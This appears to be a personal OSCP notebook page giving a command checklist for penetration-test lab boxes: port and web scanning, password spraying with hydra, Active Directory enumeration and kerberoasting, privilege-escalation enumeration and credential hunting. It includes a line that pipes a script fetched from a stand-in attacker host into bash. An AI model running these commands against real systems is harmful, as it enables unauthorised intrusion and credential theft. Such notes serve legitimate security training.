Pearson's OSCP Notebook

Every Box - Manual Workflow

Properties1
tagsevery-box, manual-enum, workflow, methodology, checklist, oscp, sudo-l, strings

3 min read

Every Box — Manual Workflow

Ctrl+F: every box · manual enum · sudo -l · strings · what I do every time

Run this on every box before and after foothold. Automate with Privesc Tools (linpeas/winpeas) but never skip manual steps — easy wins get missed.

Full methodology → Methodology · Initial foothold

📌 Phase 1 — Recon (Kali)

# /etc/hosts
echo "IP hostname.htb" | sudo tee -a /etc/hosts
 
# Ports
nmap -p- --min-rate=1000 -vv -oN nmap/allports.txt TARGET
nmap -sVC -Pn -p<ports> -oN nmap/targeted.txt TARGET
 
# Generate hosts from SMB sweep (AD / multi-host)
nxc smb 10.129.8.240 --generate-hosts-file hosts
sudo tee -a /etc/hosts < hosts
 
# Web
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
# ffuf / nikto / cmseek / wpscan as needed
python3 /usr/share/cmseek/cmseek.py -u http://TARGET/ --light-scan
 
searchsploit "service version"

Default creds & weak password spray (before rockyou)

  1. Manual defaults → Default Credentials
  2. FTP / SSH / Telnet — once you have usernames, try -e nsr first (no password wordlist):
# users.txt = enum'd names + capitalization variants (otis, Otis, ...)
hydra -L users.txt -e nsr TARGET ftp -t 6 -f -V
hydra -L users.txt -e nsr TARGET ssh -t 4 -f
  1. Then rockyou + -e nsr: hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET ftp -t 6 -f -e nsr

→ Hydra · Initial foothold > 📌 1) Default & Weak Credentials

See Nmap · CrackMapExec - nxc > 📌 Generate hosts file · Templates

📌 Phase 2 — AD / SMB enum (if 445/389)

nxc smb TARGET
enum4linux -a TARGET
 
# User list (pick one)
nxc smb TARGET -u "guest" -p "" --rid-brute 1000
ldapsearch ... > ldap.out   # see [[ldapsearch#📌 Extract Usernames to File]]
 
# Descriptions (passwords in info field)
nxc smb TARGET -u USER -p PASS -M user-desc
nxc smb TARGET -u USER -p PASS -M get-desc-users
 
# Kerberos
nxc ldap DC -u users.txt -p '' --asreproast asreproast.txt
nxc ldap DC -u USER -p PASS --kerberoasting kerb.txt

See CrackMapExec - nxc · ldapsearch · Kerberoast

📌 Phase 3 — After foothold (Linux)

Full priv esc methodology → Privilege escalation > 📌 Phase 1 — Linux Manual Enum (Run First)

id; whoami; uname -a
sudo -l
id | grep -E 'docker|lxd'    # LXD → [[lxc - LXD Privilege Escalation - EDB 46978]]
ss -nltp
ps aux
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
strings /path/to/binary | grep -i pass
 
# Automated
curl http://ATTACKER/linpeas.sh | bash
 
# Kernel suggester (Kali)
./linux-exploit-suggester.sh -f uname.txt

See Linux · linux-exploit-suggester · netstat · Basic Commands

📌 Phase 4 — After foothold (Windows)

Full priv esc methodology → Privilege escalation > 📌 Phase 4 — Windows Manual Enum (Run First)

whoami /priv
systeminfo
net user
net localgroup administrators
tasklist
netstat -ano
 
winPEASx64.exe cmd fast

See Windows PrivEsc · tasklist and Get-Process · netstat · Potato Attacks

📌 Phase 5 — Loot & cred chain

# Hunt in files / configs / DB dumps
grep -Ei "password|passwd|secret|token|apikey|ssh|PRIVATE KEY" dump.sql
 
# Crack → reuse
hashcat / john → [[Credential Graph]]
nxc smb 10.10.10.0/24 -u user -p 'NewPass!' --continue-on-success

See Credential Discovery · Credential Graph

Graph View

Backlinks